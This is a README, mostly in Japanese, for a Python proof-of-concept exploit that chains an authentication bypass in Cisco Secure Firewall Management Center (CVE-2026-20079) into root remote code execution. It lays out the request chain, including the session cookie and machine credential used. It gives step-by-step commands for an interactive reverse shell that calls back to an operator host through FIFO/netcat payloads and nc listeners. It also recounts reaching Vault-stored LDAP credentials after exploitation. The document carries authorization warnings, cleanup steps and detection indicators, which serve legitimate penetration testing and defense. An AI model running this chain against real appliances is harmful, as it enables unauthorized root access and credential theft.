
CVE-2026-20079の認証バイパスからルートRCEへのチェーンを、fingerprint、check、proof、およびインタラクティブエクスプロイトの各モードでCisco Secure FMCに対して実装します。
CVE-2026-20079 として公開されている Cisco Secure Firewall Management Center の認証バイパスから root RCE へのチェーンの Python 概念実証(PoC)です。
これは新しい脆弱性でも、独自に開発されたエクスプロイトチェーンでもありません。VulnCheck が公開したリクエストシーケンスのクリーンルーム実装であり、fingerprint、check、one-shot proof、interactive exploit の各モードを個別に備えています。
Python 3.10 以降が必要です。Linux または macOS の場合:```bash git clone https://github.com/CyberAuth/CVE-2026-20079.git cd CVE-2026-20079 python3 -m venv .venv source .venv/bin/activate python3 -m pip install -r requirements.txt python3 CVE-2026-20079.py --help
## Replace the example addresses
All `192.0.2.x` values below are reserved documentation addresses. They are
placeholders, not discovered target information, and must be replaced with
values from the authorized assessment. The commands are not expected to work
unchanged.
| Example | Meaning | What to use instead |
| --- | --- | --- |
| `https://192.0.2.10` | Target FMC URL | The exact authorized FMC scheme, address, and port |
| `192.0.2.20` | Address where the FMC connects back | The IP address or DNS name of the operator's listener **as reachable from the FMC** |
| `192.0.2.0/24` | Example fingerprint CIDR | An explicitly authorized network range |
| `4444` | Callback/listener TCP port | An approved reachable port on the callback system |
| `0.0.0.0` | Where the listener binds on the operator system | Keep it to listen on all local interfaces, or use one local interface address |
| `192.0.2.10` in `--expected-callback-source` | Expected source of the callback | The FMC source address as observed by the listener; omit this option when NAT makes it uncertain |
| `http://127.0.0.1:8080` | Optional local intercepting proxy | The proxy URL actually listening on the operator system |
### Choosing `--callback-host`
Use this rule: **from the FMC's point of view, which address reaches the
operator's listener?** That address is `--callback-host`.
| Network path | Typical `--callback-host` value |
| --- | --- |
| Operator and FMC are on the same routed network | The operator system's reachable `eth0`, `en0`, or other LAN address |
| Operator reaches the FMC through a VPN | The reachable VPN interface address, such as `tun0` or `utun`, when the FMC has a route to it |
| Operator is behind NAT or a firewall | The public IP or DNS name whose selected port is forwarded to the operator system |
| A callback tunnel or VPS is used | The reachable tunnel endpoint or VPS address |
Do not use `127.0.0.1` or `0.0.0.0` for `--callback-host`. `127.0.0.1` would
refer to the FMC itself, while `0.0.0.0` is a listener bind value, not a
destination. Ensure routing, firewall rules, and any port forwarding allow the
FMC to reach `--callback-host` on `--callback-port`.
`--listen-host` is local-only: it selects the interface on which the integrated
listener waits. Its default, `0.0.0.0`, listens on every local interface. It
does not tell the FMC where to connect. Therefore, `--callback-host` and
`--listen-host` may be different, especially across NAT.
### Worked example: operator and FMC on the same network
Assume this fictional, documentation-only lab:```text
Operator system FMC target
eth0: 192.0.2.20 192.0.2.10
1. Operator ---------------------------------------> FMC
HTTPS requests to https://192.0.2.10
2. Operator <--------------------------------------- FMC
Listener on TCP 4444 callback to 192.0.2.20:4444
値をコマンドにマッピングすると次のようになります:
--target https://192.0.2.10 は、評価対象のFMCを識別します。--callback-host 192.0.2.20 は、オペレータシステムの eth0 アドレスです。FMCはそこに直接ルーティングできるためです。--callback-port 4444 は、コールバックで使用される承認済みTCPポートです。--listen-host 0.0.0.0 は、統合リスナーが eth0 を含む任意のローカルインターフェースでコールバックを受け入れるようにします。その例のワンショット実証コマンドは次のようになります:```bash
python3 CVE-2026-20079.py
--proof
--target https://192.0.2.10
--callback-host 192.0.2.20
--callback-port 4444
--listen-host 0.0.0.0
The flow is: the operator sends HTTPS requests to `192.0.2.10`, then the FMC
connects back to the operator's `192.0.2.20:4444`. In a real assessment,
replace both IP addresses and confirm the return route before running the
command. If the FMC cannot reach the operator's `eth0` address, use the
reachable VPN, NAT, tunnel, or VPS address described above instead.
## モードとクイックコマンドリファレンス
| モード | ネットワークまたはターゲットへの影響 | 成功によって確立される結果 |
| --- | --- | --- |
| `--fingerprint` | GET リクエストのみ | FMC の Web サーフェスの可能性。脆弱性の確認ではありません |
| `--check` | サーバー側セッション状態をアップグレードする | 認証バイパスとアクション トークンへのアクセス |
| `--proof` | 制限付きコールバック ペイロードを作成して実行する | インタラクティブ シェルなしでのルート実行とクリーンアップ |
| `--exploit` | FIFO/netcat ペイロードを作成して実行する | インタラクティブなルート コールバック、または `--auto-verify` による制限付き検証 |
3 つのサンプル値を一度設定し、それぞれを許可されたターゲット、オペレータのコールバック アドレス、ポートに置き換えてください:```bash
# Replace all three values before running a mode.
FMC_URL=https://192.0.2.10
CALLBACK_HOST=192.0.2.20 # Address the FMC can use to reach this listener
CALLBACK_PORT=4444
次に、モードを1つだけ選択してください:```bash
python3 CVE-2026-20079.py --fingerprint --target "$FMC_URL"
python3 CVE-2026-20079.py --check --target "$FMC_URL"
python3 CVE-2026-20079.py --proof --target "$FMC_URL"
--callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT"
python3 CVE-2026-20079.py --exploit --target "$FMC_URL"
--callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT"
python3 CVE-2026-20079.py --exploit --target "$FMC_URL"
--callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT"
--auto-verify
> [!IMPORTANT]
> フィンガープリンティングはヒューリスティックな製品識別手順であり、脆弱性
> チェックではありません。`MATCH` と `LIKELY` は対象が影響を受ける、または
> 悪用可能であることを証明するものではなく、`NO_MATCH` はFMCを除外するもの
> ではありません。リバースプロキシ、カスタマイズされたログインページ、アクセス
> 制御、ネットワーク障害、または製品変更が結果に影響を与える可能性があります。
フィンガープリンティングはネットワークリクエストを送信しますが、認証バイパス
やRCEチェーンは実行しません。`--check`、`--proof`、または `--exploit` を使用する前に、
以下の分類の詳細、モードの説明、セッション状態の警告を読んでください。
> [!WARNING]
> 対象の変更と証明方法をカバーする明示的な書面による承認なしに、`--check`、
> `--proof`、または `--exploit` を実行しないでください。最初に前提条件、
> セッション状態の制限、およびコールバック要件を読んでください。
## エクスプロイトチェーンの仕組み
アクティブチェーンは、`CGISESSID=csm_processes` を `/login.cgi?logon=Continue` に供給し、公開されている `report:snortrules` マシン認証情報を使用して、`/ui/user/general` から `sf_action_id` を抽出し、`validateLicense` を通じてMakeself形式のスクリプトを書き込み、`SF::UI::DataObjectLibrary::upgradeReadinessCall` を通じてそれをトリガーします。
## 重要な前提条件
影響を受けるソフトウェアバージョンが、テスト時点で常に悪用可能であるとは限りません。ブート時に作成された `csm_processes` セッションがまだ存在している必要があります。通常の認証済みUIアクティビティやセッションクリーンアップによって削除される可能性があります。この前提条件を満たすためだけに本番FMCを再起動しないでください。
## セッション状態の制限
`--check`、`--proof`、および `--exploit` モードは、サーバー側の `csm_processes` セッションをアップグレードします。PoCは、ベンダーが文書化したダウングレード操作が存在しないため、そのセッションを元の部分的な状態に戻そうとはしません。クライアントCookieをクリアしてもサーバー側の変更は元に戻らず、ログアウト、強制失効、またはデータベースエントリの削除は、セッションを復元するどころか破壊し、その後の検証やアプライアンスの動作を妨げる可能性があります。自動クリーンアップ機能は一時的なRCEファイルのみを削除し、セッション状態を復元することは意図していません。`--fingerprint` はそのセッションを使用または変更しません。
## ターゲット実行時の前提条件
両方のコールバックペイロードには以下が必要です:
- 互換性のあるPOSIXスタイルの `/bin/sh`。
- `rm` と `command`。
- ターゲットの実行 `PATH` で利用可能な `nc`、`netcat`、または `ncat` のいずれか。
- FMCから指定されたコールバックアドレスとポートへの外向きTCP接続。
インタラクティブな `--exploit` ペイロードは、さらに `mkfifo` を必要とします。ワンショットの `--proof` ペイロードは、FIFOやインタラクティブシェルを作成しません。
ペイロードは、コールバックを試みる前に、サポートされている3つのnetcatコマンド名をチェックします。どれも存在しない場合、クリーンアップトラップを通じて終了します。エラーはブラインドのサーバー側実行パス内で発生するため、テスターは詳細なリモートエラーメッセージではなく、コールバックが欠落していることを観測します。
`--auto-verify` はPythonのsocketライブラリを使用し、ローカルのnetcat
インストールを必要としません。手動リスナーモードでは、`nc`、`ncat`、`socat`、または
オペレーターが選択した別のTCPリスナーを使用できます。
## GETのみのFMCフィンガープリンティング
1つのURLをフィンガープリントします:```bash
python3 CVE-2026-20079.py \
--fingerprint \
--target https://192.0.2.10
1行に1つのURL、IPアドレス、ホスト名、または host:port 値を含むファイルをフィンガープリントします:```bash
python3 CVE-2026-20079.py
--fingerprint
--targets-file targets.txt
--fingerprint-scheme https
--fingerprint-port 443
--workers 10
明示的に許可されたネットワーク範囲をフィンガープリントします:```bash
python3 CVE-2026-20079.py \
--fingerprint \
--network 192.0.2.0/24 \
--fingerprint-scheme https \
--fingerprint-port 443 \
--workers 20 \
--max-hosts 256
このモードは影響が少なく、文字通りパッシブというわけではありません。ネットワークリクエストを送信します。リダイレクトはグローバルに無効化されており、ツールは元のスキーム・ホスト・ポートを維持した正確な /ui/login パスへの実際のHTTPリダイレクトのみを追跡します。ログイン応答が成功(HTTP 2xx)して初めて、ツールは MATCH または LIKELY を報告します。エクスプロイトCookieを添付したり、資格情報を送信したり、POST リクエストを送信したり、外部リダイレクトを追跡したり、バージョンを確認したり、CVE-2026-20079 を実証したりしません。MATCH は成功した応答でブランディングが観測されたことを意味し、LIKELY は成功した同一オリジンのログインルートが生のHTML内のブランディングなしで一致したことを意味し、NO_MATCH は制限付きフィンガープリントがFMCを識別しなかったことを意味します。
--targets-file または --network を受け付けるのは --fingerprint のみです。チェック、プルーフ、エクスプロイトの各モードは、意図的に単一ターゲットの操作に留まります。ファイルとCIDRの展開は重複排除され、--max-hosts(デフォルト4096)で制限されます。一方、並行処理は --workers(デフォルト10、最大100)で制限されます。
python3 CVE-2026-20079.py
--target https://192.0.2.10
--check
成功するには、期待されるHTTP 302セッションアップグレードと、セッション固有の `sf_action_id` を含む200応答の両方が必要です。
PoCは、リクエストチェーンの間、完全なアクショントークンをメモリ内に保持しますが、短縮されたフィンガープリントのみを出力します。完全なトークンを含む生のレスポンスボディは機密のセッション証拠として扱い、公開しないでください。
チェックが成功した後、サーバー側のセッションはアップグレードされたままです。ツールはこれを明示的に報告し、文書化されていないロールバックを試みません。
## ワンショットroot証明
これは、root実行の証拠が必要だが、対話型シェルが不要な場合に使用します:```bash
python3 CVE-2026-20079.py \
--target https://192.0.2.10 \
--proof \
--callback-host 192.0.2.20 \
--callback-port 4444 \
--expected-callback-source 192.0.2.10
プルーフモードは、ファイル書き込みリクエストの前に常に統合リスナーを起動します。ターゲットはランダム化された開始/終了マーカー、id、ホスト名、ビルドディレクトリ名、および/var/tmp/license.tmpのクリーンアップ状態を送信してから切断します。成功するには、uid=0(root)と一時スクリプトが存在しないことの確認が必要です。FIFOを作成せず、対話型コマンドチャネルを公開せず、環境固有のポストエクスプロイテーションも実行しません。
認可されたコールバックシステムでリスナーを起動します:```bash
nc -lvnp 4444
nc -lvn 4444
コールバックシステムに適したリスナーコマンドを1つだけ実行し、両方実行しないでください。
次に実行:```bash
python3 CVE-2026-20079.py \
--target https://192.0.2.10 \
--exploit \
--callback-host 192.0.2.20 \
--callback-port 4444
コールバックを検証する:```bash id hostname -f
PoC は正確な一時 FIFO パスを出力します。FMC シェルから、既知のエクスプロイトアーティファクトをその 2 つだけ削除してください:```bash
rm -f /tmp/.fmc_poc_<printed_suffix> /var/tmp/license.tmp
PoCは独自のコールバックリスナーを実行し、限定的なポストエクスプロイテーションを自動的に実行できます:```bash
python3 CVE-2026-20079.py
--target https://192.0.2.10
--exploit
--callback-host 192.0.2.20
--callback-port 4444
--auto-verify
`--auto-verify` は、コールバックを通じて以下のアクションのみを実行します:
1. `id` を実行し、`uid=0(root)` であることを要求します。
2. `hostname -f` と FMC ビルドディレクトリ名を収集します。
3. この実行で作成された正確なランダム化 FIFO と `/var/tmp/license.tmp` を削除します。
4. 両方のパスが存在しないことを確認します。
5. コールバックを終了します。
生成されたペイロードは、実行開始と同時に `/var/tmp/license.tmp` のリンクを解除し、両方の一時パスに対するシェル終了/シグナルクリーンアップハンドラをインストールします。自動検証は依然として実行され、独立した明示的なクリーンアップを確認します。書き込みが試行されたが、コールバックまたはクリーンアップの証明が不完全な場合、PoC は非ゼロで終了し、許可を得た手動レビューが必要となる可能性がある2つの正確なパスを出力します。
コールバックアドレスがローカルバインドアドレスと異なる場合は、後者を個別に指定します:```bash
python3 CVE-2026-20079.py \
--target https://192.0.2.10 \
--exploit \
--callback-host 192.0.2.20 \
--callback-port 4444 \
--auto-verify \
--listen-host 0.0.0.0 \
--callback-wait 60
コールバックソースがFMCアドレス自体であるべき場合、およびコールバック側のNATが関与しない場合、リスナーは無関係な接続を拒否できます:```bash
python3 CVE-2026-20079.py
--target https://192.0.2.10
--exploit
--callback-host 192.0.2.20
--callback-port 4444
--auto-verify
--expected-callback-source 192.0.2.10
コールバックを受信できない場合、パッチ適用済みターゲット、ブートセッションの欠落、egressのブロック、ターゲット側のnetcat実装が利用不可または非互換であること、または他のランタイム障害を区別することはできません。
自動的なVault列挙、資格情報の抽出、永続化、およびラテラルムーブメントは意図的に除外されています。これらの活動はCVE-2026-20079を証明するために必要ではなく、環境固有の認可と構成に依存します。
## PoCがFIFO/netcatを使用する理由
最初の手動再現では、Bashの `/dev/tcp` コールバックを使用しました。両方のHTTP
エクスプロイトステージが期待どおりのレスポンスを返しましたが、接続は確立されませんでした。
これは、HTTPステータスだけでは実行の証明にならない理由と、
アプライアンス上でシェル固有のコールバック機能を想定すべきではない理由を示しています。
成功した再試行では、公開リサーチに記載されているFIFO/netcat互換パターンを
使用しました。このPoCは、その実証済みパターンを直接使用し、
失敗した `/dev/tcp` メソッドを意図的に再試行しません。
`nc`、`netcat`、または `ncat` をチェックし、自動モードでは実際のコールバックと
`uid=0(root)` を要求し、コールバックまたはクリーンアップの証明が欠けている場合は非ゼロを返します。
ブラインドコールバック失敗の正確な理由を特定できないため、
ターゲットがパッチ適用済みであると主張するのではなく、考えられるランタイムおよび
ネットワークの前提条件を報告します。
## ポストエクスプロイテーションの範囲
このリポジトリは、未認証の状態から検証済みのrootコールバックとクリーンアップまで、このCVEを自動化します。資格情報の収集、シークレットのエクスポート、ラテラルムーブメントは**自動化しません**。
ある許可されたアセスメント中、結果として得られたrootシェルは、FMC上でローカルに実行されていたHashiCorp Vaultサービスを露出させました。アプライアンスローカルのVaultクライアントトークンにより、設定済みのLDAP資格情報レコードへのアクセスが可能になり、その資格情報はその後、許可されたLDAPSバインドを完了しました。これは、ある環境で観察されたポストエクスプロイテーションパスであり、CVE-2026-20079の普遍的な特性や前提条件ではありません。
一人称で書かれた研究ストーリーについては、[BLOG.md](https://github.com/cyberauth/cve-2026-20079/blob/HEAD/BLOG.md) を参照してください。公開の背景、手動によるエクスプロイトのプロセス、失敗したコールバック、成功した互換性ペイロード、観察されたポストエクスプロイテーションパス、学んだ教訓、そしてこのツールの最終的な開発までが記載されています。
## オプションのプロキシ
インターセプトプロキシでリクエストを確認するには:```bash
python3 CVE-2026-20079.py \
--target https://192.0.2.10 \
--check \
--proxy http://127.0.0.1:8080
HTTP 302 または HTTP 200 だけでは root RCE を証明できません。この問題は次のように扱います:
--fingerprint が制限付きログイン動作またはブランディングを観測した場合にのみ特定されたとみなされます。これはそれ自体では脆弱性の発見ではありません。sf_action_id を生成した場合にのみ確認されます。id が uid=0(root) を報告した場合にのみ確認されます。統合リスナーは、実行ごとにランダム化された検証マーカーを使用し、取得したコールバック出力を制限し、オプションでコールバック送信元をフィルタリングし、root またはクリーンアップを検証できない場合はゼロ以外のステータスを返します。手動リスナーモードでは、これらの条件を Python プロセスに証明することはできません。このモードの正常終了は、HTTP チェーンが送信されたことを意味するだけで、root 実行が独立して観測されたことを意味するものではありません。
0: フィンガープリントが少なくとも 1 つの非エラー結果で完了した、--check が認証バイパスを確認した、--proof または --auto-verify が root とクリーンアップを確認した、または手動リスナーモードが期待される HTTP チェーンを正常に送信した。1: ターゲットが期待される応答と一致しなかった、コールバック/root/クリーンアップの証明が失敗した、またはリクエスト/リスナーエラーが発生した。2: 無効なコマンドライン引数。130: オペレーターによる割り込み。ペイロードの書き込みが試行されていた場合、ツールはクリーンアップが未検証のままの正確なパスも出力します。csm_processes Cookie と report マシンユーザーを使用して /login.cgi?logon=Continue に POST する。/ui/user/general へのリクエスト。/sajaxintf.cgi?rs=callServerFunc への validateLicense リクエスト。/pjb.cgi に送信される SF::UI::DataObjectLibrary::upgradeReadinessCall。/var/tmp/license.tmp の作成または実行。/tmp 配下の FIFO 作成、対話型 /bin/sh、nc、および FMC からの予期しない外部トラフィック。クイックセットアップは、requirements.txt のランタイム依存関係を分離された仮想環境にインストールします。標準ライブラリのユニットテストとローカルのモック統合テストを、公開ターゲットに接続せずに実行します:```bash
python3 -m unittest discover -s tests -v
## 参照
- [Cisco アドバイザリ](https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-onprem-fmc-authbypass-5JPp45V2)
- [VulnCheck 技術分析](https://www.vulncheck.com/blog/cisco-fmc-auth-bypass-cve-2026-20079)
## 法的注意事項
所有しているシステム、またはテストのための明示的な書面による許可を得たシステムでのみ使用してください。
この PoC は、サーバー側のセッション状態を変更し、コマンドを
root として実行できます。許可の取得、安全なスコープと検証の境界の定義、
収集した証拠の保護、および適用される法律、契約、ベンダーまたは
プログラムの規則の遵守は、利用者の責任です。著者および
貢献者は、不正アクセス、妨害、またはデータ収集を許可するものではありません。
本ソフトウェアは、保証なしに「現状のまま」提供され、著者および
著作権者は、法律で認められる最大限の範囲で責任を負わないものとします。
完全な条件については、[MIT ライセンス](https://github.com/cyberauth/cve-2026-20079/blob/HEAD/LICENSE) を参照してください。この使用上の注意は
ライセンスを変更または制限するものではありません。